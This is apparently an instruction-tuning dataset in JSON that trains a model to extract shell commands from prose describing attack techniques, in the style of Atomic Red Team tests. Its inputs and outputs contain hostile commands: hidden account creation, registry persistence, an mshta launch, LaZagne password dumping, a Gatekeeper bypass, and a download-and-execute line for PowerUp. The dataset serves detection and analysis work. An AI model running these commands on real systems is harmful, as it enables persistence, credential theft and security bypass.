    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can create a system user by executing this command: useradd -M -N -r -s /bin/bash -c evil_account #{username}\n",
    "output": "{\"command_list\": [\"useradd -M -N -r -s /bin/bash -c evil_account #{username}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This technique creates persistence by modifying the time provider registry settings, which involves executing these commands: net stop w32time\nCopy-Item \"$PathToAtomicsFolder\\T1547.003\\bin\\AtomicTest.dll\" C:\\Users\\Public\\AtomicTest.dll\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_SZ /v \"DllName\" /d \"C:\\Users\\Public\\AtomicTest.dll\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"Enabled\" /d \"1\" /f\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\AtomicTest\" /t REG_DWORD /v \"InputProvider\" /d \"1\" /f\nnet start w32time",
    "output": "{\"command_list\": [\"net stop w32time\\nCopy-Item \\\"$PathToAtomicsFolder\\\\T1547.003\\\\bin\\\\AtomicTest.dll\\\" C:\\\\Users\\\\Public\\\\AtomicTest.dll\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\AtomicTest\\\" /t REG_SZ /v \\\"DllName\\\" /d \\\"C:\\\\Users\\\\Public\\\\AtomicTest.dll\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\AtomicTest\\\" /t REG_DWORD /v \\\"Enabled\\\" /d \\\"1\\\" /f\\nreg add \\\"HKEY_LOCAL_MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\W32Time\\\\TimeProviders\\\\AtomicTest\\\" /t REG_DWORD /v \\\"InputProvider\\\" /d \\\"1\\\" /f\\nnet start w32time\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To launch an executable that masquerades as legitimate, use the following command:\nAdd-Type -TypeDefinition @'\npublic class Test {\n    public static void Main(string[] args) {\n        System.Console.WriteLine(\"tweet, tweet\");\n    }\n}\n'@ -OutputAssembly \"#{executable_filepath}\"\n\nStart-Process -FilePath \"#{executable_filepath}\"",
    "output": "{\"command_list\": [\"Add-Type -TypeDefinition @'\\npublic class Test {\\n    public static void Main(string[] args) {\\n        System.Console.WriteLine(\\\"tweet, tweet\\\");\\n    }\\n}\\n'@ -OutputAssembly \\\"#{executable_filepath}\\\"\\n\\nStart-Process -FilePath \\\"#{executable_filepath}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To perform local user enumeration via a VB script, which mimics FIN7's technique of using mshta.exe to execute malicious code, use the following command: mshta vbscript:Execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -noexit -file PathToAtomicsFolder\\T1218.005\\src\\powershell.ps1\"\":close\")",
    "output": "{\"command_list\": [\"mshta vbscript:Execute(\\\"CreateObject(\\\"\\\"Wscript.Shell\\\"\\\").Run \\\"\\\"powershell -noexit -file PathToAtomicsFolder\\\\T1218.005\\\\src\\\\powershell.ps1\\\"\\\":close\\\")\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To run LaZagne for retrieving all saved passwords, use the following command: python2 laZagne.py all",
    "output": "{\"command_list\": [\"python2 laZagne.py all\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows Error Reporting framework can be set up to run a specific executable during application hangs by adding this Registry entry: reg add \"HKLM\\Software\\Microsoft\\Windows\\Windows Error Reporting\\Hangs\" /v Debugger /t REG_SZ /d \"C:\\Windows\\System32\\notepad.exe\" /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\\Hangs\\\" /v Debugger /t REG_SZ /d \\\"C:\\\\Windows\\\\System32\\\\notepad.exe\\\" /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can bypass Gatekeeper restrictions by executing this command: sudo xattr -d com.apple.quarantine #{app_path}",
    "output": "{\"command_list\": [\"sudo xattr -d com.apple.quarantine #{app_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n  